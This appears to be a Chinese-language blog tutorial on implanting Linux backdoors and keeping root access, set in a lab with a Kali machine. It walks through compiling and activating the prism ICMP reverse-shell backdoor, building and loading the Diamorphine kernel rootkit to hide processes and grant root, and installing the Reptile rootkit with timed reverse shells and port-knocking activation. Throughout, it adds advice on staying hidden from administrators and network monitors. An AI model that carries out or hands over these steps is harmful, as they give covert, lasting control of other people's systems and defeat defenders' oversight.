A06.Linux下的后门植入与权限持久化(二)

Linux下的后门植入与权限持久化(二)

协议后门

在网络安全控制做的比较严格的环境中,一些不常见的流量会被禁止掉。但是对于常见的流量,比如DNS、ICMP等,则通常不会被拦截。

ICMP协议后门

主要原理

主要原理就是利用ICMP中可控的data字段进行数据传输。具体原理可以参考:https://zhuanlan.zhihu.com/p/41154036

ICMP后门支持两种工作模式:ICMP和STATIC模式。

  1. ICMP模式,使用此操作模式,后门在后台静默等待特定的 ICMP 数据包,只有包含要连接回来的主机/端口和私钥,才能成功连上。

  2. STATIC模式,使用这种操作模式,后门会主动连接指定的IP和端口,因此只需要对端计算机运行netcat进行侦听就可以。

ICMP后门的安装和使用

下载ICMP后门的利用程序:https://github.com/andreafabrizi/prism

有两个主要文件:1、prism.c是用来编译生成后门文件的;2、sendPacket.py是用来发送数据激活后门文件的。

下载后需要安装gcc编译prism.c。

yum install -y gcc gcc-c++

在编译之前,还需要修改prism.c文件内容,找到以下内容并修改:

REVERSE_HOST:攻击者IP,也就是kali虚拟机的IP。

REVERSE_PORT:kali虚拟机用于接受数据的端口

RESPAWN_DELAY:STATIC模式下自动发起连接的间隔时间(秒)

ICMP_KEY:用于激活后门的密钥/密码,默认为p4ssw0rd

MOTD:要在后门连接处打印的消息(类似欢迎信息,登录提醒)

修改为攻击者IP:192.168.142.135;端口:9999;

此脚本有以下几个可用的GCC编译选项:

gcc <..OPTIONS..> -Wall -s -o prism prism.c

可用的GCC选项:

-DDETACH #Run进程在后台

-DSTATIC #Enable STATIC模式(默认为ICMP模式)

-DNORENAME #不重命名进程

-DIPTABLES #Try刷新所有iptables规则

这里使用的编译命令是:

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

编译后生成文件prism,使用命令:./prism,执行即可。

然后,在kali虚拟机中运行netcat监听9999端口,等待后门弹回shell:

nc -l -p 9999

然后,使用sendPacket.py脚本发送激活包到后门主机,以使后门主机反弹shell连接到kali虚拟机的指定端口:

python sendPacket.py 192.168.142.146 p4ssw0rd 192.168.142.135 9999

注意:192.168.142.146是目标服务器IP地址;p4ssw0rd是连接密码;192.168.142.135是kali虚拟机IP地址;9999是连接端口。sendPacket.py是用python2写的,旧版的Kali可以用python命令直接运行。新版本的Kali默认使用的是python3,需要使用python2命令来执行sendPacket.py。

执行成功的情况下,kali虚拟机会接收到回弹的shell,如下图。

DNS协议后门

DNS后门的主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),使用DNS协议来传输后门载荷。这种情况下,后门代码被检测出来的风险就很低了。

DNS后门脚本项目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS

此后门本文不作详细介绍,有兴趣的读者请使用搜索资料自主学习。

Rootkit后门

“Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号名称是root,该账号拥有最大的权限,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员可能会发现主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。

Linux rootkit中常用的一种是LKM技术。LKM(Loadable Kernel Module),全称为动态可加载内核模块,主要作用是用来扩展Linux的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。

虽然LKM通过动态加载内核模块方便地扩展了Linux功能,但另一方面,这也为攻击者提供了便利。攻击者可以在得到root权限的系统上滥用这种方法,实现进程隐藏,文件隐藏,从而使他们能够长期的保持对系统的控制。

Rootkit 后门之Diamorphine

Diamorphine就是一种使用LKM技术的Linux rootkit,它可以工作在Linux Kernels 2.6.x/3.x/4.x/5.x和ARM64上。

Diamorphine具有以下特征:

  1. 加载后,模块开始不可见

  2. 通过发送信号31可以隐藏/显示任何进程

  3. 通过发送信号63(到任何pid)可以使模块变得可见/不可见

  4. 通过发送信号64(到任何pid)可以使指定的用户拥有root权限

  5. 以MAGIC_PREFIX开始的文件或目录变得不可见

Diamorphine项目地址:https://github.com/m0nad/Diamorphine

Diamorphine的安装

由于Diamorphine是基于Linux Kernels 2.6.x / 3.x / 4.x的可加载模块,所以我们首先需要在目标机器中使用uname -sr查看当前系统内核版本是否在使用范围内。

[root@localhost ~]# uname -sr
Linux 3.10.0-1160.el7.x86_64

将提前下载好的Diamorphine文件整个目录上传到目标服务器中。

由于目标机器是最小化安装,内核开发包没有安装,这个时候需要安装对应目标系统内核的开发包,如已安装可跳过本步骤。

yum install kernel-devel-$(uname -r) gcc

然后进入Diamorphine目录,使用ls命令确定当前目录下有以下3个关键文件:

[root@localhost Diamorphine]# ls
diamorphine.c diamorphine.h Makefile

接下来就可以直接使用make命令进行编译,如以下返回内容则为正常情况:

[root@localhost Diamorphine]# make
make -C /lib/modules/3.10.0-1160.el7.x86_64/build M=/root/Diamorphine modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1160.el7.x86_64'
CC [M] /root/Diamorphine/diamorphine.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/Diamorphine/diamorphine.mod.o
LD [M] /root/Diamorphine/diamorphine.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1160.el7.x86_64'

请注意,如果在make之后返回是以下内容,则为报错:

[root@localhost Diamorphine]# make
make -C /lib/modules/3.10.0-1160.el7.x86_64/build M=/root/Diamorphine modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1160.el7.x86_64'
arch/x86/Makefile:96: stack-protector enabled but compiler support broken
arch/x86/Makefile:166: *** CONFIG_RETPOLINE=y, but not supported by the compiler. Compiler update recommended.. Stop.
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1160.el7.x86_64'
make: *** [all] Error 2

以上的报错,需要编辑开发包配置文件Makefile:

vi /usr/src/kernels/3.10.0-1160.el7.centos.x86_64/arch/x86/Makefile

将Makefile文件中第164行和166行屏蔽,也就是在:

KBUILD_CFLAGS += $(RETPOLINE_CFLAGS) -DRETPOLINE
$(error CONFIG_RETPOLINE=y, but not supported by the compiler. Compiler update recommended.)

以上两行之前添加“#”号,保存退出后,重新make,如返回内容为正确内容,则为编译成功。再次使用ls命令查看当前目录,出现了其他文件:

[root@localhost Diamorphine]# ls
diamorphine.c diamorphine.mod.c Makefile
diamorphine.h diamorphine.mod.o modules.order
diamorphine.ko diamorphine.o Module.symvers

接下来安装diamorphine加载模块:

insmod diamorphine.ko

无返回内容则为正常情况。

Diamorphine的使用

Diamorphine的隐藏/恢复隐藏进程的命令为:kill -31 PID号

我们挑选一个进程,测试能否正常隐藏;使用ps -ef命令查看进程:

root 2145 2120 0 09:13 tty1 00:00:00 -bash

挑选这个tty列为tty1的这个进程,2145则为进程PID号使用命令:kill -31 2145,即可隐藏该进程;隐藏后可以再次通过ps -ef命令验证是否隐藏成功。如需要恢复隐藏,则再次执行kill -31 2145即可。

Diamorphine的提权命令为:kill -64 用户进程号。注意,提权命令执行后不可逆,需要重启或者注销该用户。

这里的0其实就是root用户的pid进程号,换成其他用户的进程号也可以切换到其他用户。

如果需要卸载diamorphine模块,需要root权限执行以下命令:rmmod diamorphine

Diamorphine可以和其它的后门结合在一起使用。例如,前面的Cron后门,使用ps -ef命令是可以看到相关进程的,如果配合Diamorphine的进程隐藏功能,就可以将进程隐藏了,这样一来管理员就不会发现当前还有其他人在连接这台机器。

通过将其他后门和Diamorphine的功能相结合,就可以更好实现权限持久化。

Rootkit后门之Reptile

Reptile是GitHub上一个比较火的Linux LKM rootkit。截止2023年4月,目前最新版本是2.0,经过安装测试,在当前选择的CentOS系统上无法正常安装,根据网络资料,2.0在一些版本的Ubuntu上可以正常安装。所以,我们选用了Reptile 1.0版本进行学习。

Reptile项目地址:https://github.com/f0rb1dd3n/Reptile

Reptile的安装

进入Reptile项目仓库的releases页面,下载Reptile的旧版本“old Reptile”(即1.0),并上传到CentOS。

然后使用命令unzip解压Reptile压缩包,进入Reptile-1.0目录,根据其项目地址说明,安装后门需要用到以下命令:

[root@localhost ~]# cd Reptile-1.0/
[root@localhost Reptile-1.0]# ./setup.sh install

在执行install脚本之后,会有几个提示,需要输入参数,除了反弹shell的配置参数,其它使用默认值即可。

Hide name (will be used to hide dirs/files) (default: reptile): 要隐藏什么文件或文件夹
Auth token to port-knocking (default: hax0r): 端口碰撞的认证码
Backdoor password (default: s3cr3t): 后门密码
Tag name that hide file contents (default: reptile): 要隐藏的内容
Source port to port-knocking (default: 666): 端口碰撞时使用的源TCP端口
TCP port to port-knocking (default: 80): 端口碰撞的TCP端口
UPD port to port-knocking (default: 53): 端口碰撞的UCP端口
Would you like to config reverse shell each X time? (y/n) (default: n): y 是否回弹shell,选y
Reverse IP: 192.168.142.135 Kali虚拟机地址
Reverse Port (default: 80): 12346 Kali用于监听shell的端口
How long is your interval? (in seconds) (default: 1800): 10 间隔时间,默认1800秒

按照提示输入完毕后,会显示一些信息并提示是否删除本文件夹,选不删除(为方便反复实验),就会提示安装完成,然后回到主目录,通过ls命令查看不到Reptile文件夹,但实际上是后门程序被隐藏了。

Reptile的使用

通过以上的安装和配置,就已经植入了一个间隔十秒就会反弹shell到kali虚拟机的后门。

接下来在kali上安装reptile的客户端,通过客户端使用后门。将reptile上传到Kali Linux,执行以下命令安装客户端。

[root@localhost Reptile-1.0]# ./setup.sh client安装时会有几个提示,需要输入参数,使用默认值即可(参数需要与上面的安装一致)。

安装完成后,执行命令运行reptile客户端,在端口12346上进行监听,10秒之内reptile后门程序会反弹shell过来。

[root@localhost Reptile-1.0]# bin/reptile_client -x listen -p 12346

尽管在后门主机上看不到端口和连接,但这种方式每隔一段时间就要向某个特定IP和端口反弹shell的流量,还是容易被网络监控设备所捕获。所以,除了这种方式,reptile还支持通过端口碰撞的方式来激活反弹shell。只要给后门主机的特定端口发送相同Auto token的数据包,就可以激活shell,而未发送之前后门程序不会主动连接外部主机,这样就更增加了后门的隐蔽性。

端口碰撞反弹shell实验的主要步骤如下:

  • 使用命令./setup.sh remove卸载后门的主程序,重启CentOS。

  • 重新安装reptile,过程与前面类似,但不要开启反弹shell。

  • 在Kali上安装后门的客户端程序,安装过程没有变化。

安装后,执行以下命令向后门的主程序发送端口碰撞数据包,激活后门程序的反弹shell功能,同样可以成功获得shell。

[root@localhost Reptile-1.0]# bin/reptile_client -t 192.168.142.133 -x tcp -l 192.168.142.135 -p 4444

命令执行后,reptile客户端会使用默认的源端口666向后门主机的TCP 80端口发送激活数据包(内容是加密密的),后门主机收到此数据包后,才会去连接这个数据包里指示的IP和端口。使用wireshark软件抓包,可以清晰的看到端口碰撞的这些过程。

连接成功后,即可以执行任意命令控制后门主机,执行完毕后,输入exit命令即可断开后门程序的连接。相对间隔一定时间就反弹一次shell的方式,这种方式更为隐蔽,不容易被流量监控设备发现连接规律。

注意,黑客获得了系统的root权限以后,留下一些后门是为了隐藏相关线索,不被管理员发现,从而达到长期控制目标计算机的目地。reptile和diamorphine提权的前提条件是黑客已经有了root权限,以root用户的身份将后门植入了系统,后门程序也拥有了root用户的权限,然后才能将一些普通用户的权限提升到root权限,这与上一节的利用程序或系统漏洞直接从普通用户的权限提到root不同。

posted @ 2026-05-04 13:47  putiji  阅读(49)  评论(0)    收藏  举报